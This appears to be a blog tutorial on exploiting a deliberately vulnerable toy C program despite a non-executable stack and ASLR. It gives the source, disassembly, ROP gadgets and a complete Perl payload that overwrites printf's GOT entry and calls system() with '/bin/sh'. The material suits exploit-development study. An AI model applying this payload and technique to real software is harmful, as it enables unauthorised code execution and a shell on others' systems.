This is a brief introduction to a cool little technique of buffer overflow exploit with the following conditions: the stack is not executable, the stack address is randomized, and the libc address is also randomized. In other words, we cannot simply use return-to-stack and return-to-libc.
A vulnerable program that I am going to use is a modified version of gera's in
[1]. Here, we do not have stack canary protection, but I am going to make it much harder by modifying the code a little bit: adding an exit system call, and employing stack and libc address randomization (ASLR). The modified version is shown below:
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
int func(char *msg) {
char buf[80];
strcpy(buf,msg);
buf[0] = toupper(buf[0]);
strcpy(msg,buf);
exit(1);
}
int main(int argv, char** argc) {
func(argc[1]);
}
There is a classic
strcpy vulnerability in the
func function. Two consecutive strcpy call enables us to write arbitrary values in an arbitrary address: first, modify the value of the msg from the first strcpy, and then write arbitrary values from the second strcpy. Note that overwriting the return address of func is not enough because it is protected with exit system call. It is more clear if you look at the disassembled version of the program:
080484b4 <func>:
80484b4: 55 push %ebp
80484b5: 89 e5 mov %esp,%ebp
80484b7: 83 ec 58 sub $0x58,%esp
80484ba: 8b 45 08 mov 0x8(%ebp),%eax
80484bd: 89 44 24 04 mov %eax,0x4(%esp)
80484c1: 8d 45 b0 lea -0x50(%ebp),%eax
80484c4: 89 04 24 mov %eax,(%esp)
80484c7: e8 04 ff ff ff call 80483d0 <strcpy@plt>
80484cc: 0f b6 45 b0 movzbl -0x50(%ebp),%eax
80484d0: 0f be c0 movsbl %al,%eax
80484d3: 89 04 24 mov %eax,(%esp)
80484d6: e8 d5 fe ff ff call 80483b0 <toupper@plt>
80484db: 88 45 b0 mov %al,-0x50(%ebp)
80484de: 8d 45 b0 lea -0x50(%ebp),%eax
80484e1: 89 44 24 04 mov %eax,0x4(%esp)
80484e5: 8b 45 08 mov 0x8(%ebp),%eax
80484e8: 89 04 24 mov %eax,(%esp)
80484eb: e8 e0 fe ff ff call 80483d0 <strcpy@plt>
80484f0: 8b 45 08 mov 0x8(%ebp),%eax
80484f3: 89 44 24 04 mov %eax,0x4(%esp)
80484f7: c7 04 24 00 86 04 08 movl $0x8048600,(%esp)
80484fe: e8 dd fe ff ff call 80483e0 <printf@plt>
8048503: c7 04 24 01 00 00 00 movl $0x1,(%esp)
804850a: e8 e1 fe ff ff call 80483f0 <exit@plt>
0804850f <main>:
804850f: 8d 4c 24 04 lea 0x4(%esp),%ecx
8048513: 83 e4 f0 and $0xfffffff0,%esp
8048516: ff 71 fc pushl -0x4(%ecx)
8048519: 55 push %ebp
804851a: 89 e5 mov %esp,%ebp
804851c: 51 push %ecx
804851d: 83 ec 14 sub $0x14,%esp
8048520: 8b 41 04 mov 0x4(%ecx),%eax
8048523: 83 c0 04 add $0x4,%eax
8048526: 8b 00 mov (%eax),%eax
8048528: 89 04 24 mov %eax,(%esp)
804852b: e8 84 ff ff ff call 80484b4 <func>
8048530: 83 c4 14 add $0x14,%esp
8048533: 59 pop %ecx
8048534: 5d pop %ebp
8048535: 8d 61 fc lea -0x4(%ecx),%esp
8048538: c3 ret
We can only modify a single memory region, but it must not be the return address because of the exit system call. There are several possible spots including dtors and GOT. In this example, I am going to overwrite GOT entry of
printf function. GOT is typically in the code section of a program and its address is not randomized.
Now we can hijack the control flow when the printf is called, so the next step is to determine where to jump. We cannot simply return to libc because its address is randomized (we are not going to use brute force here). However, we know that the code section's addresses are fixed, and we are going to use return-oriented programming technique described introduced by Hovav
[2]. In this problem, we can only use the code section of this small program, thus there is very small number of gadgets available.
The return-oriented program that we are going to design runs as follows: 1) retrieve an address to libc's strcpy function from the GOT, 2) compute the relative address from
strcpy function to
system function, 3) obtain the address of the
system function from the step 1 and 2, 4) set up the stack to have a pointer to "/bin/sh" string, 5) jump to the system function using indirect call (call *%eax).
3. Gadgets We are going to use the following 4 gadgets that we can find from the code section to perform the exploitation.
1)
0x80485a2 <__libc_csu_init+82>: add $0xc,%esp
0x80485a5 <__libc_csu_init+85>: pop %ebx
0x80485a6 <__libc_csu_init+86>: pop %esi
0x80485a7 <__libc_csu_init+87>: pop %edi
0x80485a8 <__libc_csu_init+88>: pop %ebp
0x80485a9 <__libc_csu_init+89>: ret
2)
0x804838c <_init+44>: pop %eax
0x804838d <_init+45>: pop %ebx
0x804838e <_init+46>: leave
0x804838f <_init+47>: ret
3)
0x80485ce <__do_global_ctors_aux+30>: add 0xf475fff8(%ebx),%eax
0x80485d4 <__do_global_ctors_aux+36>: add $0x4,%esp
0x80485d7 <__do_global_ctors_aux+39>: pop %ebx
0x80485d8 <__do_global_ctors_aux+40>: pop %ebp
0x80485d9 <__do_global_ctors_aux+41>: ret
4)
0x80484af <frame_dummy+31>: call *%eax
Using the above four gadgets, I introduce the following exploit. Note this exploit is not just a simple return-oriented programming exploit, there are many techniques involved:
1) It dynamically retrieves system function's address from the GOT
2) changes the ebp register to point to the bss section so that we can control the esp and ebp continuously.
3) Set up the stack address to have enough space for system call.
First, the second gadget sets up the eax and
ebx values that are used in the third gadget to compute the system
function's address. The result of the "add 0xf475fff8(%ebx), %eax"
instruction must produce the address of system function in libc. Specifically, 0xf475fff8(%ebx) must point to the strcpy's GOT entry, so the strcpy's address in libc is added with the value in eax register.
Changing the ebp register in the first gadget is the most tricky part. In the first gadget, we set up the ebp to point to a writable bss section (More precisely, beyond the bss section). Since the address of 0x804a2e8 is a writable region, we can set the address for ebp and esp. In the second gadget, we can set up the esp value by using the
leave instruction. Thus after the second gadget, both the ebp and the esp will point to the addresses of the bss section.
The final exploit in perl is shown below:
print "\xa2\x85\x04\x08" . # First Gadget "AAAAAAAA" . # dummy
"\xe8\xa2\x04\x08" . # set ebp, poing to line 9 of this exploit string
"\x8c\x83\x04\x08" . # Second gadget
"\xc0\x52\xfc\xff" ."\x14\xa0\x8e\x13AAAA" . "/bin/sh;" . "A"x48 .
"\x10\xa0\x04\x08" . # GOT entry address of printf
"\x30\xa0\x04\x08"x0xa0 . # dummy
"\xce\x85\x04\x08" .
"\x30\xa0\x04\x08"x0x2 . # dummy
"\x30\xa0\x04\x08" . # dummy ebp
"\xaf\x84\x04\x08" . # call *%eax
"\x30\xa0\x04\x08";
I also attach the binary file for people who are interested. :)
(Download)5. Conclusion There are many possible way of bypassing ASLR protections. Here, I present a way to exploit the return-oriented programming technique in a very limited environment: small code space, randomized stack and randomized libc.
Trackback URL : http://divine-protection.com/tc/trackback/34
